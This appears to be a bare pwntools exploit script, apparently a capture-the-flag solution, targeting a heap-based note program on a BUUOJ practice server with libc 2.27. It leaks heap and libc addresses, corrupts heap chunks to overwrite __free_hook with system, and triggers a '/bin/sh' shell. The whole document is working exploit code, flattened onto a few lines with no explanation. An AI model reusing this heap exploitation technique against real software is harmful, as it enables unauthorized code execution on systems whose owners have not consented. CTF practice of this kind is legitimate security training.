1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88
| from pwn import *
sh = remote('node3.buuoj.cn',29489) libc = ELF('./libc-2.27.so') malloc_hook_s = libc.symbols['__malloc_hook'] free_hook_s = libc.symbols['__free_hook']
def add(size,content): sh.sendlineafter('>>>','1') sh.sendlineafter('string :',str(size)) sh.sendafter('string :',content)
def show(index): sh.sendlineafter('>>>','2') sh.sendlineafter('index :',str(index))
def delete(index): sh.sendlineafter('>>>','3') sh.sendlineafter('index :',str(index))
def merge_strs(seq): sh.sendlineafter('>>>','5') sh.sendlineafter('merged :',seq)
add(0x10,'a'*0x10) add(0xF0,'b'*0xF0) add(0x20,'c'*0x20) delete(0) add(0x400,'b\n') add(0xF0,'c'*0xF0) add(0x3F8,'d'*0x3E2 + p64(0x410 + 0x70 + 0xC0) + p64(0x100) + '\n')
for i in range(5,12): add(0xF0,'e\n')
for i in range(5,12): delete(i)
delete(1) add(0,'') show(1) sh.recvuntil('Notes are : ') heap_addr = u64(sh.recv(6).ljust(8,'\x00')) print 'heap_addr=',hex(heap_addr) for i in range(5,8): add(0x10,'\n') add(0,'') show(8) sh.recvuntil('Notes are : ') main_arena_xx = u64(sh.recv(6).ljust(8,'\x00')) malloc_hook_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF) libc_base = malloc_hook_addr - malloc_hook_s free_hook_addr = libc_base + free_hook_s system_addr = libc_base + libc.sym['system'] print 'libc_base=',hex(libc_base) print 'free_hook_addr=',hex(free_hook_addr) print 'system_addr=',hex(system_addr) delete(0) merge_strs('1 1 1 1 1 1 4')
for i in range(7,-1,-1): delete(4) add(0x3F8,'d'*0x3E2 + 'd'*i + '\n') delete(0) merge_strs('1 1 1 1 1 4')
delete(4) add(0x3F8,'d'*0x3E2 + p64(0x540) + '\n') delete(0) merge_strs('1 1 1 1 1 4') delete(3) add(0xD0,'/bin/sh\n') add(0x60,'b'*0x20 + '\n')
delete(2) delete(9) add(0x60,p64(free_hook_addr) + '\n') add(0x60,'a\n') add(0x60,p64(system_addr) + '\n')
delete(3)
sh.interactive()
|